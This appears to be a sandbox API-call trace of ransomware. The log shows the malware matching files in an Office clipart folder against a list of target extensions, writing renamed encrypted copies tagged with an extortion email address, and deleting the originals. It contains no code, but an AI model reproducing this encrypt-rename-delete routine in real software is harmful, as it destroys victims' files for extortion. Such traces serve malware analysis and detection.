	[0155.936] lstrlenW (lpString=".dbf") returned 4
	[0155.936] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0155.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68
	[0155.936] lstrlenW (lpString=".1cd") returned 4
	[0155.936] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0155.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090777.WMF") returned 68
	[0155.936] lstrlenW (lpString=".jpg") returned 4
	[0155.936] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0155.936] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0155.936] lstrlenW (lpString="J0093905.WMF") returned 12
	[0155.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0155.937] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=42050) returned 1
	[0155.937] CloseHandle (hObject=0x4a0) returned 1
	[0155.937] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf")) returned 0x220
	[0155.937] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0155.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0155.938] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.938] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4
	[0155.938] GetLastError () returned 0x0
	[0155.938] ReadFile (in: hFile=0x4a0, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0xa442, lpOverlapped=0x0) returned 1
	[0155.941] WriteFile (in: hFile=0x4a4, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xa450, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xa450, lpOverlapped=0x0) returned 1
	[0155.943] ReadFile (in: hFile=0x4a0, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0155.943] WriteFile (in: hFile=0x4a4, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0155.943] SetEndOfFile (hFile=0x4a4) returned 1
	[0155.943] CloseHandle (hObject=0x4a4) returned 1
	[0155.943] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.944] SetEndOfFile (hFile=0x4a0) returned 1
	[0155.947] CloseHandle (hObject=0x4a0) returned 1
	[0155.947] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0155.947] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf")) returned 1
	[0155.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68
	[0155.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68
	[0155.948] lstrlenW (lpString=".doc") returned 4
	[0155.948] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0155.948] lstrlenW (lpString=".docx") returned 5
	[0155.948] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0155.948] lstrlenW (lpString=".pdf") returned 4
	[0155.948] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0155.948] lstrlenW (lpString=".xls") returned 4
	[0155.948] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0155.948] lstrlenW (lpString=".xlsx") returned 5
	[0155.948] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0155.948] lstrlenW (lpString=".ppt") returned 4
	[0155.948] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0155.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68
	[0155.948] lstrlenW (lpString=".zip") returned 4
	[0155.948] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0155.948] lstrlenW (lpString=".rar") returned 4
	[0155.948] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0155.948] lstrlenW (lpString=".bz2") returned 4
	[0155.948] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0155.948] lstrlenW (lpString=".7z") returned 3
	[0155.948] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0155.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68
	[0155.948] lstrlenW (lpString=".dbf") returned 4
	[0155.948] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0155.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68
	[0155.948] lstrlenW (lpString=".1cd") returned 4
	[0155.948] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0155.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68
	[0155.949] lstrlenW (lpString=".jpg") returned 4
	[0155.949] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0155.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68
	[0155.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68
	[0155.949] lstrlenW (lpString=".doc") returned 4
	[0155.949] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0155.949] lstrlenW (lpString=".docx") returned 5
	[0155.949] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0155.949] lstrlenW (lpString=".pdf") returned 4
	[0155.949] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0155.949] lstrlenW (lpString=".xls") returned 4
	[0155.949] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0155.949] lstrlenW (lpString=".xlsx") returned 5
	[0155.949] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0155.949] lstrlenW (lpString=".ppt") returned 4
	[0155.949] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0155.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68
	[0155.949] lstrlenW (lpString=".zip") returned 4
	[0155.949] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0155.949] lstrlenW (lpString=".rar") returned 4
	[0155.949] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0155.949] lstrlenW (lpString=".bz2") returned 4
	[0155.949] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0155.949] lstrlenW (lpString=".7z") returned 3
	[0155.949] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0155.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68
	[0155.949] lstrlenW (lpString=".dbf") returned 4
	[0155.949] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0155.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68
	[0155.949] lstrlenW (lpString=".1cd") returned 4
	[0155.949] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0155.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68
	[0155.949] lstrlenW (lpString=".jpg") returned 4
	[0155.949] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0155.950] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0155.950] lstrlenW (lpString="J0098497.WMF") returned 12
	[0155.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0155.950] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=4970) returned 1
	[0155.950] CloseHandle (hObject=0x4a0) returned 1
	[0155.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf")) returned 0x220
	[0155.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0155.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0155.951] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.951] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0156.588] GetLastError () returned 0x0
	[0156.601] ReadFile (in: hFile=0x4a0, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x136a, lpOverlapped=0x0) returned 1
	[0156.618] WriteFile (in: hFile=0x4b0, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x1370, lpOverlapped=0x0) returned 1
	[0156.619] ReadFile (in: hFile=0x4a0, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0156.619] WriteFile (in: hFile=0x4b0, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0156.619] SetEndOfFile (hFile=0x4b0) returned 1
	[0156.620] CloseHandle (hObject=0x4b0) returned 1
	[0156.620] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.620] SetEndOfFile (hFile=0x4a0) returned 1
	[0156.622] CloseHandle (hObject=0x4a0) returned 1
	[0156.622] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0156.623] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0098497.wmf")) returned 1
	[0156.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68
	[0156.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68
	[0156.623] lstrlenW (lpString=".doc") returned 4
	[0156.623] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0156.623] lstrlenW (lpString=".docx") returned 5
	[0156.623] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0156.623] lstrlenW (lpString=".pdf") returned 4
	[0156.623] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0156.623] lstrlenW (lpString=".xls") returned 4
	[0156.623] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0156.623] lstrlenW (lpString=".xlsx") returned 5
	[0156.623] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0156.624] lstrlenW (lpString=".ppt") returned 4
	[0156.624] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0156.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68
	[0156.624] lstrlenW (lpString=".zip") returned 4
	[0156.624] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0156.624] lstrlenW (lpString=".rar") returned 4
	[0156.624] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0156.624] lstrlenW (lpString=".bz2") returned 4
	[0156.624] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0156.624] lstrlenW (lpString=".7z") returned 3
	[0156.624] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0156.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68
	[0156.624] lstrlenW (lpString=".dbf") returned 4
	[0156.624] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0156.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68
	[0156.624] lstrlenW (lpString=".1cd") returned 4
	[0156.624] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0156.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68
	[0156.624] lstrlenW (lpString=".jpg") returned 4
	[0156.624] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0156.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68
	[0156.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68
	[0156.624] lstrlenW (lpString=".doc") returned 4
	[0156.624] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0156.624] lstrlenW (lpString=".docx") returned 5
	[0156.624] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0156.624] lstrlenW (lpString=".pdf") returned 4
	[0156.624] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0156.624] lstrlenW (lpString=".xls") returned 4
	[0156.624] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0156.624] lstrlenW (lpString=".xlsx") returned 5
	[0156.624] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0156.624] lstrlenW (lpString=".ppt") returned 4
	[0156.624] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0156.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68
	[0156.624] lstrlenW (lpString=".zip") returned 4
	[0156.625] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0156.625] lstrlenW (lpString=".rar") returned 4
	[0156.625] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0156.625] lstrlenW (lpString=".bz2") returned 4
	[0156.625] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0156.625] lstrlenW (lpString=".7z") returned 3
	[0156.625] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0156.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68
	[0156.625] lstrlenW (lpString=".dbf") returned 4
	[0156.625] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0156.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68
	[0156.625] lstrlenW (lpString=".1cd") returned 4
	[0156.625] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0156.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0098497.WMF") returned 68
	[0156.625] lstrlenW (lpString=".jpg") returned 4
	[0156.625] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0156.625] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0156.625] lstrlenW (lpString="J0099154.JPG") returned 12
	[0156.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0156.626] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=6929) returned 1
	[0156.626] CloseHandle (hObject=0x4a0) returned 1
	[0156.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg")) returned 0x220
	[0156.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0156.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0156.626] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.626] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0156.627] GetLastError () returned 0x0
	[0156.627] ReadFile (in: hFile=0x4a0, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x1b11, lpOverlapped=0x0) returned 1
	[0156.629] WriteFile (in: hFile=0x4b0, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x1b20, lpOverlapped=0x0) returned 1
	[0156.631] ReadFile (in: hFile=0x4a0, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0156.631] WriteFile (in: hFile=0x4b0, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0156.631] SetEndOfFile (hFile=0x4b0) returned 1
	[0156.631] CloseHandle (hObject=0x4b0) returned 1
	[0156.631] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0156.631] SetEndOfFile (hFile=0x4a0) returned 1
	[0156.634] CloseHandle (hObject=0x4a0) returned 1
	[0156.634] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0156.635] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg")) returned 1
	[0156.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0156.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0156.635] lstrlenW (lpString=".doc") returned 4
	[0156.635] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0156.635] lstrlenW (lpString=".docx") returned 5
	[0156.635] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1
	[0156.635] lstrlenW (lpString=".pdf") returned 4
	[0156.635] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0156.635] lstrlenW (lpString=".xls") returned 4
	[0156.635] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0156.635] lstrlenW (lpString=".xlsx") returned 5
	[0156.635] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1
	[0156.635] lstrlenW (lpString=".ppt") returned 4
	[0156.635] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0156.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0156.635] lstrlenW (lpString=".zip") returned 4
	[0156.636] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0156.636] lstrlenW (lpString=".rar") returned 4
	[0156.636] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0156.636] lstrlenW (lpString=".bz2") returned 4
	[0156.636] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0156.636] lstrlenW (lpString=".7z") returned 3
	[0156.636] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0156.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0156.636] lstrlenW (lpString=".dbf") returned 4
	[0156.636] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0156.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0156.636] lstrlenW (lpString=".1cd") returned 4
	[0156.636] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0156.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0156.636] lstrlenW (lpString=".jpg") returned 4
	[0156.636] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0156.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0156.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0156.636] lstrlenW (lpString=".doc") returned 4
	[0156.636] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0156.636] lstrlenW (lpString=".docx") returned 5
	[0156.636] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1
	[0156.636] lstrlenW (lpString=".pdf") returned 4
	[0156.636] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0156.636] lstrlenW (lpString=".xls") returned 4
	[0156.636] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0156.636] lstrlenW (lpString=".xlsx") returned 5
	[0156.636] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1
	[0156.636] lstrlenW (lpString=".ppt") returned 4
	[0156.636] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0156.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG") returned 68
	[0156.636] lstrlenW (lpString=".zip") returned 4
	[0156.636] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0156.636] lstrlenW (lpString=".rar") returned 4
	[0156.636] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0156.637] lstrlenW (lpString=".bz2") returned 4
	[0156.637] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0156.637] lstrlenW (lpString=".7z") returned 3
	[0156.637] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
